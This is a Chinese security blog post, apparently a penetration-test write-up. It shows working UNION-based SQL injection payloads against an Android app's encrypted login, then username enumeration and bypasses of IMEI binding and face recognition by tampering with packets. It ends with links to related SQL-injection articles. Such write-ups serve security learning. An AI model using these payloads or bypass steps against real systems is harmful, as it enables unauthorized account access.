<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從SQL注入到人臉識別登錄繞過

    VSole2021-11-20 04:56:47

    打開APP是一個登錄框

    抓包后發現參數被加密了

    使用Jadx脫源碼發現,并沒有加殼也沒有混淆,運氣很好

    根據經驗,先搜索Encrypt、Decrypt等關鍵字,發現在Common.js中有一個encryptData函數

    定位過去,一套加解密算法都寫好了放在這

    放到瀏覽器console里面調試,果然沒錯

    首先測試了一下注入

    明文:{"userName":"TEST'","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
    密文:QSXBDUSV0QpJkd5tWYR90SshkWzZFVipkWUNFcK1GZzpkeZVjWWJ2asJDZwxWRl5kUrRVMFtWZOBHWTVUMr1kWSZFV4tmRSBFbyIWcsV0YXRGbZdHcwEVTsd0T0J1RjFWNXNlMrBTUhZlbSRnTXF2SOVEVwZEbSBFczEWVxAjVLxmMUBHZzYVY0d1TYp0VhNDbXNFNsVVYQx2VWhkTX50U41WW3JVbNlmTuNFR4VVYSJVVUFDbGJlTWhVUxFTVhZHcXNVMspnVoBnbTlFcxY1QoBTWvBHMR1EbXJVc4VUZw0EbUBXOtFmSWh1TYZUbltEasdFW1ATTpxmMkBHbwE2cKpWW1okVilGatNFc5UVYWRGMZFTSW1kaa52UEhXVhplUsR1dwsWYOhGWTBXOVFmUxITWyI1VNpGcuJFSOdVYzw2VTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
    結果:App返回異常
    

    明文:{"userName":"TEST''","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
    密文:JdFMQJVRDlmQ2l3ahJlWXFmaox2VxAXVhBFbH5UeJd0YPVjMZNHcsJmSOh1UUFzalJlUxQ1MxsWZOxGWRFXNr1kRSxGV5NWbhpkWUNFVGdkY4NmVZBHZYFmSa52VZZUbNtEbyQFcGZlYphWbTVHbWF2Msd1UWhWbl5kVUJVcaZVY2B3VTpnWxIVYahVT0xGMjpkTWRFc50WYKhXbRllVXZVMjZVW1xmeSlGbyQGcsVUTCB3RUlXRrFWTkh1Uxx2aOpEbtllM41WTqxmbWRnWxQ2QoZ1VwRGWhpEaI5EVxUFZWB3VTJzaVFWaahkY510VldVMtZlNsRlYK5EWTREcGNWNwITWyZleWpFbyIWcsVkYDhmVaZVNw0UasJDZwx2aNZlUrRlNsVkVOxmMiFHbwE2SOpWWZVDMNpGatFVdsBzYKxmbTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
    結果:App返回正常
    


    明文:{"userName":"TEST'or'1'='1","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
    密文:k0VwAlUFNUaCZXerFWRspFcOd0VhZlbTBXOVFGMJpWW3VzaipGetdVdsBzYK5kVUZjRGZFUkhFV2ETVlJEctRVeVVkVPpkeaFHbr5kSOZVWzZkeWhGbyQGcstGZhhmVZl3bVFGUsdVV0p0RhtUNXdFckhVYKZlRhZTMV5kRw1mVwlTbhpkTuZFSwxGZ4BzVTpHbwUlTsJjYxxWRiNEaWplVWpnVoVzVPhkSXF2Msd1U3V0ah1kSUFVc4BDZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxmVsRleJdVYzw2VTlXVGJ1Twh1UVFTVhZHcXNlcwBTTphGbUpXTHF2Q1c1U6xWVltEb6lFVxsmYK5kaZVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
    結果:App返回正常
    

    至此已經可以判斷該登錄點就是一個注入了,可是返回結果始終都是“用戶名或密碼錯”即使用了' or '1'='1

    根據返回結果推測,后端的登錄處的邏輯代碼可能是這樣的

    userInfo = 'select * from userinfo where username = ';
    userPass = userInfo.password;
    if (userPass == ){
        return 'Login success';
    }else{
        return 'Login failed';
    }
    

    通過Union注入構造萬能密碼,是可以造成任意用戶登陸的,測試過程如下

    先使用order by測試,得知字段的數量為9個,構造payload

    # 由于目標服務器帶有過濾,所以這里簡單的bypass一下
    明文:{"userName":"TEST'union/**/select/**/null,null,null,null,null,null,null,null,null from dual-- ","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
    密文:JdFMQJVRDlmQ2l3ahFkaipkTqZFdKdVY2B3VTFDb6ZFaw52UZBHbNtkTFRFcWtWZOJkehVUMrVmTwdFVzwGbh9EaYZVc1UkTKxmMUBHdyYVYShkY0xGMjpEbulVe3dlYrxmMiFHbwEWMjZ1V1AXVipkTYNFRaZkTOJVMURDbGJmSaR1UEp0RiNlSqlFMwBTUNx2VSFHbr5kSOx2Vzg3RTdlVIJWevxGZ0EzVTpHbwE1TkhkTwVDMkBTTVRVNsVVYQx2ROlXSHN2T1ITWzBHbSpGZuJFdsBzYK5kVUFjVrFWTGR1UwlTVhBTSql1d1smYqhXbXhXTtR2SOVEVwZUMWhmWuNVSwZFZHFzVTJzawUVYkhkYJpFblVDMXNlesVVYPZEVVZTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkJkTrl1baZ0UhR2RNlXSXVWYkV1U6h2MWtmVIVGRKJzYXVTbZpHZzIVaGRlTIhHMjRDZGpVMoNTUp5kbWVnSyM2MktWW4VleS1kTIVGWSdFZ040aZpnWsJWaONDZIp0VNFTSERFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
    結果:App返回成功
    

    由于Oracle在進行union查詢時,所對應的字段數據類型也必須相同,所以還要進行字段數據類型的測試,最終結果如下

    # 注意這里passWord我修改成了123,用來測試Union構造的萬能密碼是否可行
    明文:{"userName":"TEST'union/**/select/**/1,'123','123','123','123','123','123','123',1 from dual-- ","passWord":"123","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
    密文:QSXBDUSV0QpJkd5tWYB1UdsBTTXFTbZBXOtFmSWh1TYZUbltEasdVevBTUNx2VSZTMF1kcSVFV2Ezah5EZYdVc1UUZWBXbUBzaVFGUsJTYYBnRkNXMXNlesVVZppERiRnUXFmdwd1UyZleWpFbuNFdsBzYK50aWBDMFZFUoh1Vzx2aOpkTrl1cKxWTpJlbTREeVFmRwd1UysGMVFGZIJWSaZFZzpkaXJDaYJmSOh1UEVDMkBzatR1MSpXUOxGWTBXOVFGMJpWW3VzaipGetd1ROJDZHFzVTpHbwUlTWhlUxhXVNpEbyQFcSpWTpJkbUVnTHJWYGpXWyAHMR1EbXVFWG1GZLh2aXFjWVJmSaR1UUBXMkNHarZlNsRlYK5EWTVTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkNDZWdFeJFjUKJFWPRnTXJ2QOZFV650Vl5EbYJlNwBzYqxGWUVjVrV2SONTW1ETVlZEcuNleOdVZOxGWSZDcwMmashFV1Y1altkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
    結果:提示是弱密碼(說明此方法可行)
    


    接下來就是一個字段一個字段的改過去,判斷哪個字段對應的是密碼字段,測試結果如下

    # 注意這里passWord我修改成了Ceshi123@@@,不再是弱口令了
    明文:{"userName":"TEST'union/**/select/**/1,'123','123','Ceshi123@@@','123','123','123','123',1 from dual-- ","passWord":"Ceshi123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
    密文:k0VwAlUFNUaCZXerFWUPtEbIp1cWRlYKpFVTBnStR2cKpXW1olVitGbyQGcsVUZOJ1aUFTRrVmTwh1UFFzaNplUWRFerZkUQxmMiFHbFN2VkxWW3BHMR1EbH9EdSd0YhVzVTJzawEVYW5mU050VhtkTFRFcGxmUQB3MhVVMwY1SsJDVwR2MWFGdX9EWKdVYzw2VTRDbVFGUsdlVI50VONFetl1dS1WTp5kbTREeVFmUSVFVxwmRS5kVYFVcxUVY2B3VTFDb6ZFaw52UZBXMWNEawk1bwBTUNx2VSFHeFVGMNxGVwlTbhpkVY9EWG1WZLhGbXhVNw0UasJDZwxGMhNnSqlVNKZlYphWbTBXOVFmVkBTWxkkVNpmWuNFR4VVYCZVVVJUNrFmToNTYIZUbldlSUVFc50WYKRXbTpXSHd1TOpXWvp0aipkTYNFRsVEZ310aZ9mWGNVYkdUT5l0VlFGZVNFNkhVZLBHWTVVMrJ2Ms52U2wWRW5UNyQWNwtWZKJlVUVHZYV2Swh1UVFzaiNDbuNlQKVlUSBHWTVVMFN2bKpXWzVTRNtkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
    結果:提示登錄成功
    


    在繞過后,發現程序出現了異常


    仔細觀察返回的數據,其中有username(用戶名)、staffId(職工號)、email(郵箱)、staffName(姓名)、tel(手機號)、mobile(手機號),然而這些數據都是我剛剛自己隨便構造的,這里應該需要一個真實的用戶信息,供后續的登錄流程使用

    好在,還是有一個地方能獲取真實的用戶信息的

    App還有一個忘記密碼的功能(通常這里可以爆破用戶名)

    利用忘記密碼的功能可以判斷用戶名是否存在,這里隨便跑了一下字典,就出來好多用戶名


    自然而然地利用這些用戶名使用短信驗證碼登錄

    獲取驗證碼,然后解密數據包,驚奇的發現返回了用戶基本信息

    根據登錄返回結果,重新測試payload,最終結果如下

    明文:{"userName":"TEST\'union/**/select/**/,\'Qwe123@@@\',\'\',\'Qwe123@@@\',\'\',\'\',\'\',\'865166023309431\', from dual -- ","passWord":"Qwe123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
    密文:xxxxxxxxx
    結果:提示登錄成功
    

    仔細看返回的登錄數據,已經正常了

    然后重新替換數據包登錄,提示綁定IMEI


    這個繞過很簡單,隨便輸入驗證碼,替換返回包,把resultCode從1001改為1000就行(常規操作)

    最終還要個人臉認證

    先用自己的臉檢測,這時候手機會向服務器發包,burp把手機發向服務器的包直接丟掉就可以繞過

    點擊確定后,還有一個大數據包發向服務器,這里面包含的是人臉數據

    修改數據包,將其中的人臉數據替換為空,然后發送

    最終的最終,成功登錄APP

    sql注入vivo
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    打開APP是一個登錄框抓包后發現參數被加密了根據經驗,先搜索Encrypt、Decrypt等關鍵字,發現在Common.js中有一個encryptData函數
    SQL注入器 -- sqlinjector
    2023-06-30 09:12:24
    0x01 工具介紹掃描 clearnet 中可能存在漏洞的網站,然后向端點發出數千個請求以進行 sql 注入掃描。
    burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
    SQL注入注入點找法
    2023-01-28 13:57:12
    總結以下三點1,注入點首先觀察搜索框的地址是否是有與數據庫交互,例如html這種幾乎是不存在注入的所以要先判斷是否有交互。2,交互點一般是搜索欄、留言版、登入/注冊頁面、以及最利于觀察的搜索欄的地址如果類似于http//www.xxx.com/index.php?id=1這種很大程度存在注入當然有些注入點不會這么一眼看出會有些比較復雜例如http://www.xxx.com:50006/index.php?
    發現漏洞一、環境準備1、在Linux主機上準備一套Xampp:模擬攻防2、在VSCode利用Remote Development進行遠程調試3、在Lampp的htdos目錄下創建security目錄,用于編寫服務器PHP代碼二、編寫Login.html三、編寫Login.php"; echo "location.href='welcome.php'";}else{ // echo "login-fail. "; echo "location.href='login.html'";}//關閉數據庫mysqli_close?
    SQL注入速查表
    2022-07-29 09:22:37
    現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。
    sql注入學習筆記
    2022-07-27 16:52:58
    sql注入學習筆記
    SQL注入思路總結
    2022-07-23 22:28:37
    數據庫被惡意操作:數據庫服務器被攻擊,數據庫管理員賬戶被篡改。經由數據庫服務器提供的操作系統支持,讓黑客得以修改或控制操作系統。可能是其他SQL語句 例如insert、update等。需要進行靈活判斷。二次注入在sqilab中第24關可以通過二次注入,重置admin密碼。
    介紹幾種利用sql注入獲取系統權限的方法,一是利用outfile函數,另外一種是利用--os-shell。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类